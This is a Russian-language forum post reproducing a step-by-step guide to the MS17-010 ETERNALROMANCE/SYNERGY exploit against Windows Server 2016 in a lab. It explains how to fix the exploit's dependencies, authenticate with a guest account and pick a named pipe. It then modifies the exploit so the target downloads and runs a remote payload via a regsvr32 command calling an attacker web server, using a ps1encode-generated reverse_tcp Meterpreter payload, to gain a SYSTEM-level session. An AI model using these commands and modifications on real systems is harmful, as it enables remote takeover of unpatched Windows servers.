ПЕНТЕСТИНГ Получаем METERPRETER-сессию при помощи эксплоита ETERNALROMANCE/SYNERGY

Тема в разделе "ПЕНТЕСТИНГ (Паблик)", создана пользователем virt, 10 окт 2017.

↑ ↓
  1. virt Уважаемый пользователь
    virt
    Ответить в чате

    Форумчанин

    Регистрация:
    24.11.2016
    Сообщения:
    289
    Симпатии:
    74
    Пол:
    Мужской
    Репа:
    +126 / 4 / -2
    В этой статье будут даны пошаговые рекомендации для того, чтобы эксплоит работал корректно, а также разъяснения относительно модификации с целью получения meterpreter-сессии на целевой машине.

    Автор: Sheila A. Berta (@UnaPibaGeek)

    Введение

    Когда компания Microsoft выпустила патчи для уязвимости MS17-010, было сообщено, что проблема касается платформ, начиная от Windows 7 (если быть совсем точным, то и Windows Vista тоже) и заканчивая Windows Server 2016. Хотя эксплоиты под кодовым названием "ETERNALS", опубликованные группой TheShadowBrokers, которые пригодны для эксплуатации в Windows Server 2012 и более современных системах, - очень нестабильны и в 99% случаев вызывают BSOD на машине жертвы.

    С целью понимания и улучшения эксплоитов от NSA, опубликованные работы были проанализированы многими специалистами по безопасности. Как итог, некоторое время назад появилась более стабильная версия (разработанная исследователем Sleepya) эксплоита ETERNALROMANCE/SYNERGY с улучшенным методом эксплуатации и направленным на системы под управлением Windows Server 2012 и 2016. Однако для того чтобы использовать этот эксплоит необходимо разобраться в механизме работы этого скрипта и модифицировать некоторые вещи для получения желаемого результата.

    В этой статье будут даны пошаговые рекомендации для того, чтобы эксплоит работал корректно, а также разъяснения относительно модификации с целью получения meterpreter-сессии на целевой машине.

    Как обычно, вся информация приводится в ознакомительных целях.

    Настройка лабораторной среды

    Для настройки лабораторной среды нужно сконфигурировать следующие системы:

    Целевая система - Windows Server 2016

    Эта машина с установленной 64-битной операционной системой Windows Server 2016 будет использоваться в качестве целевой.
    [​IMG]
    Рисунок 1: Конфигурация целевой машины

    После установки операционной системы дополнительные настройки не требуются. Достаточно знать IP-адрес и убедиться в том, что машина включена на момент атаки.

    Система злоумышленника - GNU/Linux

    Возможно использование любой другой операционной системы, которая поддерживает работу следующих инструментов:

    В итоге у нас есть две настроенные машины, используемые в лабораторной среде:

    • Windows Server 2016 x64 – IP-адрес: 10.0.2.13 - Целевая система.
    • GNU/Linux Debian x64 – IP-адрес: 10.0.2.6 - Система злоумышленника.
    Получение эксплоита

    Эксплоит можно скачать по следующей ссылке:

    Exploit – Page 42315 – Exploits Database.

    Поскольку скрипт написан на Python, сохраняем файл с расширением .py на машине злоумышленника. Во время запуска возникает следующая ошибка:

    [​IMG]
    Рисунок 2: Ошибка, возникающая при запуске эксплоита

    Решение проблем с зависимостями

    В третьей строке эксплоита импортируется модуль "mysmb", которого нет в Python. Установить этот модуль, разработанный Sleepya, можно установить при помощи утилиты pip, либо скачать по следующей ссылке: MS17-010/mysmb.py at master · worawit/MS17-010 · GitHub.

    Файл модуля с именем "mysmb.py" помещаем в папку со скриптом. Для того чтобы эксплоит смог импортировать код модуля, необходимо создать файл с именем «__INIT__.py» с перечнем нужных модулей.

    Теперь скрипт сможет найти нужный модуль и не будет выдавать ошибок:

    [​IMG]
    Рисунок 3: Добавление файла __INIT__.py и запуск эксплоита

    Проверка работоспособности эксплоита

    Возможна проверка работоспособности эксплоита без каких-либо модификаций. Если мы запустим скрипт как есть по завершению работы в корневой директории диска C:\ на целевой машине будет создан файл с именем "pwned.txt".
    Несмотря на то, что в простейшем случае никакие изменения не требуются, конкретно в вашей ситуации может потребоваться модификация некоторых параметров.

    Аутентификация

    Уязвимость, используемая в эксплоите ETERNALROMANCE/SYNERGY, требует аутентификации. Эксплуатацию можно осуществить через гостевую учетную запись. Если гостевой аккаунт отключен, нам нужно получить имя пользователя и пароль любой другой учетной записи, которая используется на целевой машине. Важно отметить, что уровень привилегий не имеет значения. Даже если учетная запись с гостевыми правами, после атаки привилегии будут повышены до системного уровня.

    Информация об учетной записи задается в файле exploit.py в строках 26-27:

    [​IMG]
    Рисунок 4: Информация об имени пользователя и пароле, используемых для аутентификации во время атаки

    Параметры

    Для корректной работы эксплоита необходимо настроить два параметра: IP-адрес целевой машины и имя канала (pipe name). Протокол SMB поддерживает три типа общих ресурсов:

    • File: файловые (или дисковые) общие ресурсы, представляющие собой дерево директорий с файлами.
    • Print: доступ к ресурсам принтера на сервере.
    • Pipe: коммуникация между процессами, использующими модель FIFO, при помощи именованных каналов, которые активны до тех пор, пока система работает, даже если процесс уже не активен.
    В отличие от ETERNALBLUE эксплоиты ETERNALROMANCE и ETERNALSYNERGY используют именованные каналы, и, соответственно, нужно выбрать тип канала, который необходим во время атаки.

    Лично я пользуюсь «spoolss». Альтернативный вариант: «browser». Кроме того, можно воспользоваться сканером auxiliary/scanner/smb/pipe_auditor в metasploit для поиска доступных каналов на целевой машине.

    Запуск без шелл-кода

    Теперь запускаем эксплоит при помощи следующей команды:

    python exploit.py <target_ip> spoolss
    [​IMG]
    Рисунок 5: Запуск эксплоита

    Как было сказано ранее, если эксплуатация завершилась успешно, в корневой директории диска «C:\» появится новый файл «pwned.txt».

    [​IMG]
    Рисунок 6: После успешной эксплуатации на целевой машине появился файл pwned.txt

    На данный момент мы уже сделали большой шаг, выполнив успешную эксплуатацию. Теперь нужно модифицировать эксплоит так, чтобы запустить шелл в meterpreter.

    Создание шелл-кода

    Существует множество способов запустить meterpreter-шелл или выполнить какие-либо другие действия вместо создания текстового файла.

    Первый шаг – генерирование шелл-кода, который мы будем использовать в дальнейшем. Лично я очень люблю один метод, у которого масса преимуществ, когда речь заходит про обход различных защит.

    Шелл-код будет помещен в файл .SCT, который эксплоит будет загружать и запускать на целевой машине, в результате чего мы получим долгожданную meterpreter-сессию.

    Создание файла .SCT при помощи утилиты PS1ENCODE

    Ps1encode позволяет сгенерировать и закодировать полезные нагрузки для metasploit в различных форматах на базе PowerShell.

    Эту утилиту можно загрузить на github: GitHub - CroweCybersecurity/ps1encode: Script used to generate and encode a PowerShell based Metasploit payloads..

    Для генерирования нужной полезной нагрузки нам необходимо запустить Ps1encode со следующими параметрами:

    ruby ps1encode.rb --PAYLOAD windows/meterpreter/reverse_tcp --LHOST=<ATTACKER_IP> --LPORT=4444 -t sct

    Сгенерированный файл .SCT должен храниться на веб-сервере на машине злоумышленника или в любом другом месте, к которому можно получить доступ из целевой системы. Поэтому при запуске предыдущей команды задается вопрос о том, какой будет полный URL, где мы будем хранить файл .sct. Если будет использоваться машина злоумышленника, нужно ввести следующий URL: http://<ATTACKER_IP>.

    [​IMG]
    Рисунок 7: Создание полезной нагрузки index.sct

    Помещение шелл-кода в место, доступное из целевой системы

    На предыдущем шаге мы создали файл index.sct в папке утилиты Ps1Encode. Чтобы этот файл был доступен для загрузки эксплоитом на целевой машине мы должны поместить полезную нагрузку в папку веб-сервера и назначить нужные права.

    [​IMG]
    Рисунок 8: Копирование полезной нагрузки на веб-сервер и назначение прав

    После выполнения команд, показанных на рисунке выше, у нас появляется шелл-код, готовый к употреблению.

    Изменение эксплоита

    Если мы откроем скрипт в текстовом редакторе и перейдем к строке 463 (и ниже), то увидим следующий код:

    [​IMG]
    Рисунок 9: Участок кода эксплоита

    На рисунке выше показаны функции, используемые для создания файла «pwned.txt» на целевой машине. Более интересной для нас является закомментированная строка с функцией service_exec().

    Функция service_exec() в качестве примера выполняет команду «copy» для создания копии файла «pwned.txt». Эта строка кода не будет выполняться до тех пор, пока вначале стоит символ «#». Если убрать этот символ и запустить эксплоит повторно, мы увидим, что в корне диска «C:\» появилось два файла: pwned.txt и pwned_exec.txt.

    Вместо команды copy можно поставить любую другую, которая нам необходима.

    Запуск шелл-кода

    Теперь мы знаем, в каком месте нужно модифицировать эксплоит для выполнения команды загрузки и запуска шелла в meterpreter:

    regsvr32 /s /n /u /i:http://<attacker_webserver_ip>/shellcode.sct scrobj.dll
    Эксплоит будет выглядеть так:
    [​IMG]
    Рисунок 10: Модифицированная версия эксплоита

    Получение Meterpreter-сессии

    В самом конце, перед запуском эксплоита, мы должны настроить модуль exploit/multi/handler для получения meterpreter-сессии.

    [​IMG]
    Рисунок 11: Настройка модуля exploit/multi/handler

    Далее запускаем модифицированную версию эксплоита:

    [​IMG]
    Рисунок 12: Запуск измененного эксплоита

    Через несколько секунд мы получим meterpreter-сессию на целевой машине с системными привилегиями.

    [​IMG]
    Рисунок 13: Получение meterpreter-сессии

    Подробнее: Как при помощи эксплоита ETERNALROMANCE/SYNERGY получить METERPRETER-сессию
     
    Последнее редактирование: 10 окт 2017
    • Мне нравится Мне нравится x 1